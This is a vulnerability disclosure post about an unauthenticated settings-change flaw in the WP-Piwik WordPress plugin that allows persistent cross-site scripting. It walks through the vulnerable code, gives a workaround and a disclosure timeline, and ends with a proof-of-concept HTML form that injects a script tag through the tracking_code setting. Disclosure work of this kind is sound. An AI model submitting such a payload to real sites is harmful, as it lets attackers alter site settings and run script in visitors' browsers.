29 Aug

Persistent Cross-Site Scripting (XSS) Vulnerability in WP-Piwik

As we continue to review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted a persistent cross-site scripting (XSS) vulnerability in the plugin WP-Piwik.

Back in January a request was made for the file /wp-content/plugins/wp-piwik/js/wp-piwik.js, for what was may have been a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that as of version 1.0.9 anyone (even if they were not logged in) can change the plugin’s settings and through those settings they could add malicious JavaScript code to the website’s page.

With the plugin enabled an instance of the class WP_Piwik is created whenever a WordPress page is loaded. That class is defined in the file /classes/WP_Piwik.php. The constructor in that class calls a function setup():

20
21
22
23
24
25
public function __construct() {
	global $blog_id;
	self::$blog_id = (isset ( $blog_id ) ? $blog_id : 'n/a');
	$this->openLogger ();
	$this->openSettings ();
	$this->setup ();

That in turn will call the function applySettings() if the function isConfigSubmitted() is true:

41
42
43
44
45
46
47
48
private function setup() {
	self::$pluginBasename = plugin_basename ( __FILE__ );
	if (! $this->isInstalled ())
		$this->installPlugin ();
	elseif ($this->isUpdated ())
		$this->updatePlugin ();
	if ($this->isConfigSubmitted ())
		$this->applySettings ();

The isConfigSubmitted() will return true if the POST input “wp-piwik” exists:

617
618
619
private function isConfigSubmitted() {
	return isset ( $_POST ) && isset ( $_POST ['wp-piwik'] );
}

The applySettings() function in turns call the applyChanges() function:

566
567
private function applySettings() {
	self::$settings->applyChanges ( $_POST ['wp-piwik'] );

The applyChanges() function (located in the file /classes/WP_Piwik/Settings.php) will update the plugin’s settings without doing any checks to make sure an authorized user is the one trying to update them:

277
278
279
280
281
282
283
284
285
286
public function applyChanges($in) {
	$in = $this->checkSettings ( $in );
	self::$wpPiwik->log ( 'Apply changed settings:' );
	foreach ( self::$defaultSettings ['globalSettings'] as $key => $val )
		$this->setGlobalOption ( $key, isset ( $in [$key] ) ? $in [$key] : $val );
	foreach ( self::$defaultSettings ['settings'] as $key => $val )
		$this->setOption ( $key, isset ( $in [$key] ) ? $in [$key] : $val );
	$this->setGlobalOption ( 'last_settings_update', time () );
	$this->save ();
}

By changing the track_mode and tracking_code settings arbitrary JavaScript code can be placed on the website’s pages.

We notified the developer on August 15, but have not heard back from and the plugin has not been fixed. We notified the Plugin Directory of the issue as of this being posted and the plugin will likely be removed from that until it is fixed.

The vulnerability is not exploitable when the plugin is deactivated, so disabling it until it is fixed will protect you. If you still need to use it, a workaround is to disable the changing of settings by editing the file /classes/WP_Piwik.php and commenting out the following lines:

47
48
if ($this->isConfigSubmitted ())
	$this->applySettings ();

Since the vulnerability may already be exploited we are adding it to the data included with companion plugin for the service, so for those that have our plugin installed they will start getting notified if they are using a vulnerable version of the WP-Piwik plugin installed, even if they are not yet signed up the service.

Proof of Concept

The following proof of concept will cause an alert that says “XSS” to be shown on the website’s pages.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="wp-piwik[track_mode]" value="manually" />
<input type="hidden" name="wp-piwik[tracking_code]" value='<script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/15/2016 – Developer Notified
  • 8/29/2016 – WordPress.org Plugin Directory notified.
  • 9/2/2016 – Version 1.0.11 released, which fixes vulnerability.

Concerned About The Security of The Plugins You Use?

When you are a paying customer of our service (you can currently try the service free for the first month), you get to suggest/vote on what plugins we will do security reviews of.

2 thoughts on “Persistent Cross-Site Scripting (XSS) Vulnerability in WP-Piwik

Leave a Reply

Your email address will not be published. Required fields are marked *